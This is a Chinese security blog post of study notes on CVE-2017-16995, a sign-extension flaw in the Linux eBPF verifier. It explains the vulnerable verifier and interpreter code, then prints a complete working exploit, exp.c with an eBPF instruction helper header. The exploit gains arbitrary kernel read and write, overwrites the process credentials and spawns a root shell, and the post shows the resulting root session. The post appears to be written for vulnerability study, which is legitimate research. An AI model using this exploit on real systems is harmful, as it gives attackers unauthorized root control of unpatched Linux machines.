CVE-2017-16995 ebpf 符号扩展漏洞学习笔记

2020-04-16 6,536

c7ca660af8894999ba5019c99d4e3edb.jpg


漏洞分析

关于这个漏洞网上已经有很多的文章分析了,这里不做太多描述,只记录一些比较重要的点。

首先是ebpf,上一张图:

5d244696fa20456caa2da3fc60fb4b47.jpg


ebpf首先需要ring3传入一段指令(传到JIT),它会在BPF_PROG_RUN里做包过滤, 内核会申请一块共享内存(MAP),内核的数据经过过滤之后放到MAP里面,然后ring3就可以读写MAP来获取内核数据。

这个漏洞简单来说就是符号扩展没有检查好,像前面说的,ebpf分成verifier和BPF_PROG_RUN 两个部分。

传入的指令其实就是原本x64上指令的一个映射,它会检查指令的CFG,是不是有非法内存访问之类的(如果可以的话就直接是内核代码注入了,可以任意执行代码),效率上的考虑,会忽略掉一些分支的检查,像下面这样,r9的值固定是0xffffffff,那么就不会跳转到[4]的部分,所以就不用检查它了,节省时间。

         ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4

首先看上面第一条指令ALU_MOV_K(9,0xffffffff),它等效于r9 = 0xffffffff,对应的代码在:

https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782

                if (class == BPF_ALU || class == BPF_ALU64) {
                        err = check_alu_op(env, insn);
                        if (err)
                                return err;

                } else if (class == BPF_LDX) {

调用check_alu_op函数,最后调用regs[insn->dst_reg].imm = insn->imm;,这里的立即数是用signed int保存的。

//ptype struct reg_state
type = struct reg_state {
    enum bpf_reg_type type;
    union {
        int imm;
        struct bpf_map *map_ptr;
    };
}
//
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){
        struct reg_state *regs = env->cur_state.regs;
        u8 opcode = BPF_OP(insn->code);
        int err;
//...

        } else if (opcode == BPF_MOV) {

//..
                if (BPF_SRC(insn->code) == BPF_X) {
                //...
                } else {// BPF_K  <===========================================
                        /* case: R = imm
                         * remember the value we stored into this reg
                         */
                        regs[insn->dst_reg].type = CONST_IMM;
                        regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit
                }
//...

        return 0;
}

然后第二条指令JMP_JNE_K(9,0xffffffff,2),其检查在check_cond_jmp_op函数里,这时候用的imm依然是signed int类型,然后后续检查的时候发现前面r9和JMP_JNE_K的imm一样,于是就不去检查[4]开始的指令了。

/* ptype struct reg_state
type = struct reg_state {
    enum bpf_reg_type type;
    union {
        int imm;
        struct bpf_map *map_ptr;
    };
}

*/
static int check_cond_jmp_op(struct verifier_env *env,
                             struct bpf_insn *insn, int *insn_idx){
        struct reg_state *regs = env->cur_state.regs;
        struct verifier_state *other_branch;
        u8 opcode = BPF_OP(insn->code);
        int err;

        //....
        } else if (BPF_SRC(insn->code) == BPF_K &&
                   (opcode == BPF_JEQ || opcode == BPF_JNE)) {

                if (opcode == BPF_JEQ) {
                //...
                } else {
                        /* detect if (R != imm) goto
                         * and in the fall-through state recognize that R = imm
                         */
                        regs[insn->dst_reg].type = CONST_IMM;
                        regs[insn->dst_reg].imm = insn->imm;
                }
        }
        if (log_level)
                print_verifier_state(env);
        return 0;
}

然后到了运行的之后,对应__bpf_prog_run 函数:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195

ALU_MOV_K:DST=(u32)IMM这个时候DST=0xffffffff

JMP_JNE_K:比较DST和IMM,此时IMM是signed int类型,DST 是 uint64_t 类型, IMM会做位扩展,原来的0xffffffff也就是-1变成0xffffffff ffffffff,0xffffffff != 0xffffffff ffffffff,于是就会跳到前面指令的LD_IMM_DW(9,1,3), // [4] r9=mapfd开始执行,verifrier的时候并没有这一段指令做检查,这时候就可以在内核做任意代码执行了。

#define DST regs[insn->dst_reg]        // uint64_t
#define SRC regs[insn->src_reg]        // uint64_t
#define FP  regs[BPF_REG_FP]           
#define ARG1    regs[BPF_REG_ARG1]     
#define CTX regs[BPF_REG_CTX]         
#define IMM insn->imm      // signed int            
//..
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
        u64 stack[MAX_BPF_STACK / sizeof(u64)];
        u64 regs[MAX_BPF_REG], tmp;
//.....
        ALU_MOV_K:
                DST = (u32) IMM;
                CONT;
//...
        JMP_JNE_K:
                if (DST != IMM) {
                        insn += insn->off;
                        CONT_JMP;
                }
                CONT;
//...
}

我们可以写一段代码验证一下:

#include  <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>

int main(int argc,char **argv){
    setbuf(stdout,0);

    int imm = 0xffffffff;

    uint64_t dst = (uint32_t)0xffffffff;

    if( dst != imm){
        printf("vuln\n");
    }

    return 0;
}

输出的结果是vuln,接下来是如何利用。


漏洞利用

漏洞利用的话,前面的分析我们知道可以在内核任意代码执行,手写ebpf的指令(其实就和我们手写汇编一样),基本利用思路如下:

  • 泄露出task_struct的地址

  • 借助task_struct地址泄露出cred地址

  • 直接内存写改uid,gid,然后/bin/sh getshell

复现的环境我用的内核是4.4.110版本, 附件中有我的config文件,主要是加上CONFIG_BPF=y 和CONFIG_BPF_SYSCALL=y

这里使用的bpf指令如下,参照panda师傅的分析:

                ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
// 下面指令不会做检查
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]  padding
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4
         ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
//fixup_bpf_calls
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
         JMP_EXIT(),                        // [12] exit
         LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]

         // r7 =map[1]
         ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4
         ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
         JMP_EXIT(),                        // [20] exit
         LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]

         // r8=map[2]
         ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4
         ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
         JMP_EXIT(),                        // [28] exit
         LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]

         ALU64_MOV_X(2,0),                  // [30] r2 =  r0
         ALU64_MOV_K(0,0),                  // [31] r0 =  0
// map[0] == 0 任意地址读
         JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
         LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
         STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
         JMP_EXIT(),                        // [35] exit
// map[0] == 1  leak rbp addr
         JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
         STX_MEM_DW(2,0,10),                // [37] [r2] = r10 (rbp)
         JMP_EXIT(),                        // [38] exit
// map[0] == 2 任意地址写
         STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
         JMP_EXIT(),                        // [40] exit

首先是r6=map[0],r7=map[1],r8=map[2] (map 是前面提到的共享内存)

然后是三个判断:

  • map[0]==0时,根据 map[1] 的值来读内存;

  • map[0]==1时,获取rbp的值==>addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;

  • map[0] ==2时,*map[1]= map[2]([r7]=r8)。

exp

完整exp 如下 , exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include "bpf_insn_helper.h"

typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void logs(char *tag,char *buf){
    printf("[ s]: ");
    printf(" %s ",tag);
    printf(": %s\n",buf);
}
void logx(char *tag,uint32_t num){
    printf("[ x] ");
    printf(" %-20s ",tag);
    printf(": %-#8x\n",num);
}
void loglx(char *tag,uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lx\n",num);
}
void bp(char *tag){
    printf("[bp] : %s\n",tag);
    getchar();
}

void init(){
    setbuf(stdin,0);
    setbuf(stdout,0);
}

int mapfd,progfd;
int sockets[2];
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5b0 //0x5f8
#define UID_OFFSET 0x4

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
                  const struct bpf_insn *insns, int prog_len,
                  const char *license, int kern_version) {
        union bpf_attr attr = {
                .prog_type = prog_type,
                .insns = (__u64)insns,
                .insn_cnt = prog_len / sizeof(struct bpf_insn),
                .license = (__u64)license,
                .log_buf = (__u64)bpf_log_buf,
                .log_size = LOG_BUF_SIZE,
                .log_level = 1,
        };

        attr.kern_version = kern_version;

        bpf_log_buf[0] = 0;

        return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
                   int max_entries) {
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries
        };

        return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)&key,
                .value = (__u64)&value,
                .flags = 0,
        };

        return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)key,
                .value = (__u64)value,
        };

        return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
        fprintf(stderr, "error: %s\n", err);
        exit(-1);
}

static void writemsg(void) {
        char buffer[64];

        ssize_t n = write(sockets[0], buffer, sizeof(buffer));

        if (n < 0) {
                perror("write");
                return;
        }
        if (n != sizeof(buffer))
                fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
        bpf_update_elem(0, (a)); \
        bpf_update_elem(1, (b)); \
        bpf_update_elem(2, (c)); \
        writemsg();

static uint64_t get_value(int key) {
        uint64_t value;

        if (bpf_lookup_elem(&key, &value))
                __exit(strerror(errno));

        return value;
}

static uint64_t __get_fp(void) {
        __update_elem(1, 0, 0);

        return get_value(2);
}

static uint64_t __read(uint64_t addr) {
        __update_elem(0, addr, 0);

        return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
        __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
        return addr & ~(0x4000 - 1);
}

static void pwn(void) {
    printf("pwning\n");
        uint64_t fp, sp, task_struct, credptr, uidptr;

        fp = __get_fp();
    loglx("fpsome",fp);
        if (fp < PHYS_OFFSET)
                __exit("bogus fp");

        sp = get_sp(fp);
        if (sp < PHYS_OFFSET)
                __exit("bogus sp");

        task_struct = __read(sp);

        if (task_struct < PHYS_OFFSET)
                __exit("bogus task ptr");

        printf("task_struct = %lx\n", task_struct);

        credptr = __read(task_struct + CRED_OFFSET); // cred

        if (credptr < PHYS_OFFSET)
                __exit("bogus cred ptr");

    uidptr = credptr + UID_OFFSET; // uid
    /*uidptr = credptr + 4; // uid*/
        if (uidptr < PHYS_OFFSET)
                __exit("bogus uid ptr");

        printf("uidptr = %lx\n", uidptr);
        __write(uidptr, 0);
        __write(uidptr+0x8, 0);
    __write(uidptr+0x10, 0);

        if (geteuid() == 0) {
                printf("spawning root shell\n");
        system("/bin/sh");
                exit(0);
        }
        __exit("not vulnerable?");

}
int main(int argc,char **argv){
    init();

     struct bpf_insn insns[] = {
         ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4
         ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
         JMP_EXIT(),                        // [12] exit
         LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]

         // r7 =map[1]
         ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4
         ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
         JMP_EXIT(),                        // [20] exit
         LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]

         // r8=map[2]
         ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4
         ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
         JMP_EXIT(),                        // [28] exit
         LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]

         ALU64_MOV_X(2,0),                  // [30] r2 =  r0
         ALU64_MOV_K(0,0),                  // [31] r0 =  0
         JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
         LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
         STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
         JMP_EXIT(),                        // [35] exit
         JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
         STX_MEM_DW(2,0,10),                // [37] [r2] = r10
         JMP_EXIT(),                        // [38] exit
         STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
         JMP_EXIT(),                        // [40] exit

     };
     /*for(int i=0;i<PROGSIZE/8;i++){*/
         /*loglx("code : ",*(u64 *)&insns[i]);*/
     /*}*/

     logx("insns",sizeof(insns));
        mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
        if (mapfd < 0)
                __exit(strerror(errno));
        puts("mapfd finished");
        progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                        insns, sizeof(insns), "GPL", 0);

        if (progfd < 0){
                __exit(strerror(errno));
    }
    puts("progfd finish");
        if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
                __exit(strerror(errno));
    }
        puts("socketpair finished");
        if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
                __exit(strerror(errno));
    }

    pwn();
    return 0;
}

bpf_insn_helper.h

#ifndef _BPF_INSN_HELPER_H__
#define _BPF_INSN_HELPER_H__
#include <linux/bpf.h>

#define ALU_NEG BPF_ALU | BPF_NEG
#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE  
#define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE  
#define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X
#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K
#define F_ALU64_NEG   BPF_ALU64 | BPF_NEG         

#define BPF_INSN_NEG \
    ((struct bpf_insn) { \
     .code = 0, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU_OP_K(OP,DST,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = 0, \
     .imm = IMM \
    })

#define ALU_OP_X(OP,DST,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_ALU | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU64_OP_K(OP,DST,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = 0, \
     .imm = IMM \
    })

#define ALU64_OP_X(OP,DST,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)
#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)
#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)
#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)
#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)
#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)
#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)
#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)
#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)
#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)
#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)

#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)
#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)
#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)
#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)
#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)
#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)
#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)
#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)
#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)
#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)
#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)

#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)
#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)
#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)
#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)
#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)
#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)
#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)
#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)
#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)
#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)
#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)

#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)
#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)
#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)
#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)
#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)
#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)
#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)
#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)
#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)
#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)
#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)

#define JMP_OP_K(OP,DST,IMM,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = OFF, \
     .imm = IMM \
    })

#define JMP_OP_X(OP,DST,SRC,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })
#define F_JMP_JA     BPF_JMP | BPF_JA            
#define F_JMP_CALL       BPF_JMP | BPF_CALL         
#define F_JMP_TAIL_CALL  BPF_JMP | BPF_CALL | BPF_X

#define JMP_EXIT() \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_EXIT, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = 0 \
    })
#define JMP_CALL(FUNC) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_CALL, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = FUNC \
    })

#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)
#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)
#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)
#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)
#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)
#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)
#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)

#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)
#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)
#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)
#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)
#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)
#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)
#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)
#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)

// [ det_reg + off ] =  src
#define STX_MEM_OP(SIZE,DST,OFF,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })

// [ dst_reg + off ] = IMM
#define ST_MEM_OP(SIZE,DST,OFF,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = OFF, \
     .imm = IMM \
    })

#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W  
#define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW
#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)
#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)
#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)
#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)

#define STX_MEM_B(DST,OFF,SRC)    STX_MEM_OP(BPF_B,DST,OFF,SRC)
#define STX_MEM_H(DST,OFF,SRC)    STX_MEM_OP(BPF_H,DST,OFF,SRC)
#define STX_MEM_W(DST,OFF,SRC)    STX_MEM_OP(BPF_W,DST,OFF,SRC)
#define STX_MEM_DW(DST,OFF,SRC)  STX_MEM_OP(BPF_DW,DST,OFF,SRC)

#define LD_ABS_W  BPF_LD | BPF_ABS | BPF_W   
#define LD_ABS_H  BPF_LD | BPF_ABS | BPF_H   
#define LD_ABS_B  BPF_LD | BPF_ABS | BPF_B   
#define LD_IND_W  BPF_LD | BPF_IND | BPF_W   
#define LD_IND_H  BPF_LD | BPF_IND | BPF_H   
#define LD_IND_B  BPF_LD | BPF_IND | BPF_B   

// dst_reg =  [src_reg + off ]
#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })

// [ src_reg + off ] = IMM
#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = IMM \
    })

#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)

#define LDX_MEM_B(DST,SRC,OFF)   LDX_MEM_OP(BPF_B,DST,SRC,OFF)
#define LDX_MEM_H(DST,SRC,OFF)   LDX_MEM_OP(BPF_H,DST,SRC,OFF)
#define LDX_MEM_W(DST,SRC,OFF)   LDX_MEM_OP(BPF_W,DST,SRC,OFF)
#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)

#endif

运行的效果如下:

~ $ /exp                                                   
[ x]  insns                : 0x148                        
mapfd finished                                             
progfd finish                                             
socketpair finished                                       
pwning                                                     
[lx]  fpsome               : 0xffff8800001b7cc0            
task_struct = ffff88000d002e00                             
uidptr = ffff88000dc11f04                                 
spawning root shell                                       
/home/pwn # id                                             
uid=0(root) gid=0 groups=1000                              
/home/pwn #                        

小结

cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。

本文作者:i春秋聚集地

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128382.html

Tags:
评论  (0)
快来写下你的想法吧!

i春秋聚集地

文章数:24 积分: 225

i春秋聚集地旨在为信息安全爱好者提供及时有效的信息渠道和体验平台,欢迎关注公众号(icqedu),和“i春秋学院”微博了解更多网络安全新知识~

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号